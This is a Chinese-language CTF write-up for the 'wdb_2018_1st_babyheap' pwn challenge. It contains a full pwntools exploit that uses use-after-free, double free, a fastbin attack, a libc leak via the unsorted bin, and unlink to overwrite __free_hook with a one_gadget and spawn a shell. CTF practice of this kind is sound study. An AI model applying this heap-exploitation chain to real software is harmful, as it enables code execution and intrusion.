题目:wdb_2018_1st_babyheap
free函数:
edit函数:
这题我干掉了睡眠函数,idapython脚本如下:
addres_start = 0x400CE3
addres_end = 0x400CED
for i in range(addres_start,addres_end):
ida_bytes.patch_byte(i,0x90)
这题的的漏洞还是挺多的uaf、off-by-null、double free但是off-by-null好像用不着,限制条件是每次只能malloc0x30,每次输入空间大小为0x20,程序最多edit 3次,alloc 10次
因为程序漏洞较多,且检查少,那么可以利用fast attack去改写原0x30的chunk大小为unsortbin从而泄漏libc,再通过unlin进行在全局变量ptr(0x602060)处写入unlink值,修改__free_hook为onegadget即可getshell
from pwn import *
#import sys
'''
远程跑不了 暂时原因未知 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'''
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./wdb_2018_1st_babyheap"
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
#idxs = int(sys.argv[1])
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("node4.buuoj.cn","27897")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
idx = 0
def alloc(Index,Content = 0):
global idx
sla('Choice:','1')
sla('Index:',str(Index))
if (Content==0) :
sla('Content:',str(idx))
else :
sla('Content:',Content)
idx+=1
def show(Index):
sla('Choice:','3')
sla('Index:',str(Index))
def free(Index):
sla('Choice:','4')
sla('Index:',str(Index))
def edit(Index,Content):
sla('Choice:','2')
sla('Index:',str(Index))
sla('Content:',Content)
################################### Statr ############################################
alloc(0,p64(0) * 3 + p32(0x31)) #伪造fakechunk的size位
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1) #这里记得先free chunk1 先free chunk0的话是打印不了堆地址的
free(0)
free(1) #double free便于后面拿到我们的fakechunk
show(0) #泄漏堆地址
heap = info(ru('\x0a')[:-1],'heap addr') - 0x30
alloc(5,p64(heap + 0x20)) #fast——attack 修改chunk的fd值
alloc(6)
alloc(7)
alloc(8,p64(0) + p64(0x91)) #拿到fakechunk 并修改别的chunk的size位 ,使他变为unsortbin,注意这里是0x91,是3个chunk的总和大小,P标志位为1
free(1) #将fakechunk放入unsortbin中
show(1) #泄漏libc
libc_base = info(ru('\x0a')[:-1],'libc addr') - (0x7f873bc26b78 - 0x7f873b863000)
target = 0x602090
edit(8, p64(0x20) +p32(0xc1)) #再次合并一个0x30的chunk 使自身变为使用状态 , 这里防止top合并全部chunk ,去掉P标志位是因为后面需要通过malloc对chunk0进行内容修改进行伪造fakechunk
free(0)
alloc(9,p64(0) + p64(0x21) + p64(target- 0x18) + p32(target- 0x10))
free(1) #unlink
pa()
edit(6,p64(libc_base + libc.symbols['__free_hook']))
edit(3,p64(libc_base + one[1]))
free(0)
################################### End ##############################################
p.interactive()